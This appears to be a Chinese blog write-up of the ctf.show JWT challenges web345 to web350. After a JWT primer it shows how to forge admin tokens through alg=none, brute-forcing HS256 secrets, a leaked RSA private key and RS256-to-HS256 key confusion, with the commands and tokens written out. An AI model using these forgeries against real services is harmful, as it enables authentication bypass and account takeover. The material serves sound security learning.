web345

什么是jwt

jwt是一个开放标准,它定义的一种紧凑的 自包含的方式,用于所谓json对象在各方之间安全的传输信息.该信息可以被验证和信任,因为它是数字签名的.

使用场景

一次性验证 比如用户注册后需要发放一封邮件让其激活账户,通常邮件中只需要有一个链接,这个链接需要具备以下的特性:能够标识用户,该链接具有时效性(通常只允许几个小时内激活),不能被篡改其激活其他可能的账户…这种场景就和jwt的特性非常 的贴近,jwt的payload中固定的参数:iis签发这和exp过期时间正式为其准备的 restful api的无状态认证 使用jwt来做restful api的身份认证也是值得推崇的一种使用方案.客户端和服务器共享secret;过期时间有服务端效验,客户端定时刷新;签名信息不可被更改,spring security oauth jwt 提供了一套完整的jwt认证体系

jwt结构

jwt由三部分构成,他们之间用远点(.)连接.这三部分分别是

HeaderPayloadSignature

具体示例如下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

Header

jwt的头部由两部分信息组成

type:声明类型,这里是jwtalg:声明加密的算法 通常直接使用HMAC SHA256

完整的头部信息如下

{

"type":"jwt",

"alg":"HS256"

}

对头部信息进行base64编码得到第一部分信息

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

载荷就是存放有效信息的地方,它包含声明要求.声明有三种类型

registered claims:标准中注册的声明,这里有一组预定义的声明,他们不是强制的,但是推荐public claims:公共的声明private claims:私有的声明

标准中注册的声明

iss: jwt签发者sub: jwt所面向的用户aud: 接收jwt的一方exp: jwt的过期时间,这个过期时间必须要大于签发时间nbf: 定义在什么时间之前,该jwt都是不可用的iat: jwt的签发时间jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

公共的声明:

公共的声明可以添加任何信息,一般添加用户的相关信息或者其他业务需要的必要信息,但是不建议添加敏感信息,因为该部分可以在客户端解密

私有的声明:

私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息

对payload进行base64加密得到了jwt的第二部分内容

signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

header(base64)payload(base64)secret

第三部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密凡是进行加盐secret组合加密,然后就构成了jwt的第三部分

注意

secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证.所以它就是你服务端的私钥,在任何场景都不应该泄露出去.一旦客户端得知增secret,那么就意味着客户端可以自我签发jwt了

https://www.jianshu.com/p/4a124a10fcaf

题目

这里提示访问admin文件夹

要注意使用 url 访问网页时 /admin 表示访问 admin.php 文件 /admin/ 表示访问 admin/目录下的文件,默认是 index.php 很像文件夹,所以此处应该访问 /admin/

cookie看着像jwt

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDg0NTY0OTksImV4cCI6MTY0ODQ2MzY5OSwibmJmIjoxNjQ4NDU2NDIyMjI5OSwic3ViIjoiYWRtaW4ifV0

alg加密算法为none

sub为user改为admin重新登录下试试

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.

[{"iss":"admin","iat":1648459436,"exp":1648466636,"nbf":1648459436,"sub":"admin","jti":"8b158096b6e36731237170f44d95d21f"}]

合起来,很奇怪这里执行不成功

前面删了才能执行成功,感觉是不是环境的问题

web346

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6InVzZXIiLCJqdGkiOiJkM2Y3YjhiOTA3YWE1M2UyZTA3MTlmOWY0MTQ3ZmFiYSJ9.Zyy2DOiFSao6aLvThffBR4ZYCShY9wLwN2rjelgn-3o

第一段

{"alg":"HS256","typ":"JWT"}

sh256加密

第二段

{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"user","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}

前面算法保证了jwt在传输的过程中不被恶意用户修改,但是header中的alg字段可被修改为none,一些jwt库支持none算法,即使没有签名算法,当alg为none时后端不会进行签名校验,将alg修改为none之后,去掉jwt中的signature数据,只剩header.payload.(这里的.不是句号哦).然后提交到服务端即可

修改

{"alg":"None","typ":"JWT"}

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0

{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"admin","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}

eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ.

记得访问/admin/页面哦

web347

c-jwt-cracker

先安docker

docker build . -t jwtcrack

docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MTgyOSwiZXhwIjoxNjQ5MDg5MDI5LCJuYmYiOjE2NDkwODE4MjksInN1YiI6InVzZXIiLCJqdGkiOiJkNWM2Yjg5MTBjYjMzZmZkZTVkN2NlNzRiM2E1ZTllNiJ9.4SRvUVI8lQ_yfMrKsSVcjnQvFEojGt0LvXu4gkX4amY 1234567890

这里定义密钥为数字快一点

改一下拿去访问/admin/就好

web348

docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MzM5OSwiZXhwIjoxNjQ5MDkwNTk5LCJuYmYiOjE2NDkwODMzOTksInN1YiI6InVzZXIiLCJqdGkiOiIwOTJlMTBhMzJlOTY2ZDY2NGM4MWMzM2QyMjlhMzY4ZSJ9.lLsYI7NGjbb4xdzmyR1YkPSgcksnBiNm4eWmVqQ2Q2U asdfghjklpoiuytrewqzxcvbnm0987654321

web349

给了一个aap.js

/* GET home page. */

router.get('/', function(req, res, next) {

res.type('html');

var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');

var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);

res.end('where is flag?');

});

router.post('/',function(req,res,next){

var flag="flag_here";

res.type('html');

var auth = req.cookies.auth;

var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key

jwt.verify(auth, cert, function(err, decoded) {

if(decoded.user==='admin'){

res.end(flag);

}else{

res.end('you are not admin');

}

});

})

是rs256加密,有公钥和私钥,从app.py文件中可以看到从public/private.key读取了私钥

https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key

试一下在这个目录下下载了私钥

接着有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥

jwt.io网站解不了,用python了

# python3

import jwt

public = open('private.key', 'r').read()

payload={"user":"admin"}

print(jwt.encode(payload, key=public, algorithm='RS256'))

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU

这次是用post访问原始目录

自己安装node.js并安装jsonwebtoken库

npm install jsonwebtoken --save

运行node.js

node

传入下面的值,要在private.key目录运行node哦

const jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('private.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });

console.log(token)

web350

给了源码包,只有一个公钥

同样的加密

将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

记得替换一下原先目录下的公钥文件哦

破解HS256(对称加密算法)密钥

如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。

然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。

此外,我们也可以使用PyJWT或John Ripper进行破解测试。

附录:相关工具

PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。

>>> import jwt

>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])

{'some': 'payload'}

推荐阅读

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: